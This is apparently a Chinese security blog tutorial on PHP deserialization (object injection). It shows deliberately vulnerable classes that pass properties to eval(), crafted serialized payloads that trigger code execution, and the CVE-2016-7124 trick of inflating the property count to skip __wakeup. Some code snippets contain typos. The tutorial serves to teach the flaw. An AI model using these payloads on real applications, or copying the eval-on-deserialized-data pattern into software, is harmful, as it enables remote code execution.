0%

反序列化整理

正文

0x00 什么序列化

两个函数

1
2
serialize() ----> 序列化函数:把对象转换为字节序列过程
unserialize() ----> 反序列化函数:把字节序列转化为对象的过程

本质上这两个函数是没有危害的,但是如果在进行对象的传递时通过配合一些魔术方法构造恶意payload,就会出现很严重的漏洞问题

0x01 序列化和反序列化分析

序列化和反序列化

  • 序列化
1
2
3
4
5
6
7
8
9
10
11
<?php
class test
{
private $test = array("Sh3rl0ck",666,"Hahhhh");
public static function test4(){
echo $this->test;
}
}
$_ = new test();
$data =serialize($_);
var_dump($data);

运行结果

1
string(85) "O:4:"test":1:{s:10:"\000test\000test";a:3:{i:0;s:8:"Sh3rl0ck";i:1;i:666;i:2;s:6:"Hahhhh";}}"

O代表对象,s代表字符串,a代表数组,i代表数字。从上面我们可以看出序列化后的字符串只保留变量的相关信息,并没有保存函数定义

  • 反序列化
1
2
3
<?php
$test = 'O:8:"Sh3rl0ck":1:{s:4:"test";s:3:"123";}';
var_dump(unserialize($test));

运行结果

1
2
3
4
5
6
class __PHP_Incomplete_Class#1 (2) {
public $__PHP_Incomplete_Class_Name =>
string(8) "Sh3rl0ck"
public $test =>
string(3) "123"
}

魔术方法

魔术方法是类中特殊的方法,在一定的情景下会进行触发

1
2
3
4
5
6
7
8
9
10
11
12
__construct() //对象创建时触发   unserialize 无法触发
__wakeup() //使用unserialize时触发
__destruct() //对象被销毁时触发
__sleep() //使用serialize时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

0x02 举例理解

0x00 直接调用

危险函数在类中后面存在调用,就可直接控制类中变量,导致漏洞触发

漏洞利用:

1
2
3
4
5
6
7
8
class cls{
var $value = 'echo 123;';
function action(){
eval($this->value);
}
}
$a = unserialize('O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}');
$a->action();

payload来源,根据源代码进行构造就行了。

1
2
3
4
5
6
7
class cls{
var $value = 'phpinfo()';
}
$_ = new cls();
var_dump(serialize($_));

O:3:"cls":1:{s:5:"value";s:9:"phpinfo()";}

运行漏洞利用程序:

1
2
3
4
5
PHP Version => 5.4.45

System => Windows NT ������ 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date => Sep 2 2015 23:45:20
Compiler => MSVC9 (Visual C++ 2008)

0x01 间接调用

不能直接进行调用时,可以看一下魔术方法。

  • 魔术方法中是否存在危险函数。
  • 是否可以利用已知漏洞绕过魔术方法,直接执行其他方法的危险函数

间接调用魔术方法危险函数

1
2
3
4
5
6
class cls{
var $value = 'echo 123;';
function __wakeup(){
eval($this->value);
}
}

__wakeup函数在使用unserialize函数前调用,如上代码,我们只需要构造序列化字符即可

payload

1
2
3
4
5
6
7
class cls{
var $value = 'phpinfo()';
}
$_ = new cls();
var_dump(serialize($_));

O:3:"cls":1:{s:5:"value";s:9:"phpinfo()";}

执行

1
2
3
4
5
6
7
class cls{
var $value = 'echo 123;';
function __wakeup(){
eval($this->value);
}
}
$a = unserialize('O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}');

运行结果:

1
2
3
4
5
6
7
phpinfo()
PHP Version => 5.4.45

System => Windows NT ������ 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date => Sep 2 2015 23:45:20
Compiler => MSVC9 (Visual C++ 2008)
Architecture => x86

其他魔术方法类似

类之间调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class cls1{
var $ser;
function __construct(){
$ser = new cls2();
}

function __wakeup(){
$this->cls2->evil();
}
}

class cls2{
var $value = "echo 123;";
function evil(){
eval($this->value);
}

}
$cls = $GET['cls'];
$instance = unserialize($cls);

payload构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
lass cls1{
var $ser;
function __construct(){
$this->ser = new cls2();
}
}

class cls2{
var $value = 'phpinfo();';
}

var_dump(serialize(new cls1()))

O:4:"cls1":1:{s:3:"ser";O:4:"cls2":1:{s:5:"value";s:10:"phpinfo();";}}

传入GET 触发攻击。

绕过魔术方法

CVE-2016-7124

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

1
2
3
4
5
6
7
8
9
10
11
class cls{
var $value = 'echo 123;';
function __destruct(){
eval($this->value);
}
function __wakeup(){
$this->value = 'echo 456;';
}
}
$data = $_GET['data'];
unserialize($data);

payload构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class cls{
var $value = 'phpinfo();';
function __destruct(){
eval($this->value);
}
function __wakeup(){
$this->value = 'echo 456;';
}
}
$_ = new cls();
$__= serialize($_);
var_dump($__);

运行结果:
O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}

如果使用上面的运行结果进行反序列化的,最后得到得结果是

1
456

这里就需要对魔法函数进行绕过

1
2
- O:3:"cls":1:{s:5:"value";s:10:"phpinfo();";}
+ O:3:"cls":2:{s:5:"value";s:10:"phpinfo();";}

把第二个序列化字符传入GET中触发漏洞

1
2
3
4
5
6
7
8
9
10
11
Call Stack:
0.0006 124672 1. {main}() G:\phpStudy20161103\WWW\serialize\test.php:0
0.0006 125064 2. unserialize() G:\phpStudy20161103\WWW\serialize\test.php:31

phpinfo()
PHP Version => 5.4.45

System => Windows NT ������ 6.2 build 9200 (Windows 8 Business Edition) i586
Build Date => Sep 2 2015 23:45:20
Compiler => MSVC9 (Visual C++ 2008)
Architecture => x86

其他语言中的反序列化

python:

1
2
pickle.dumps() # 序列化
pickle.load() # 反序列化

[https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之Python 反序列化漏洞/)

Java:

1
java.io.Serializable接口

https://xz.aliyun.com/t/2041

Reference

https://www.kingkk.com/2018/07/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://xz.aliyun.com/t/3674

[https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/](https://www.k0rz3n.com/2018/11/12/一篇文章带你理解漏洞之Python 反序列化漏洞/)

https://xz.aliyun.com/t/2041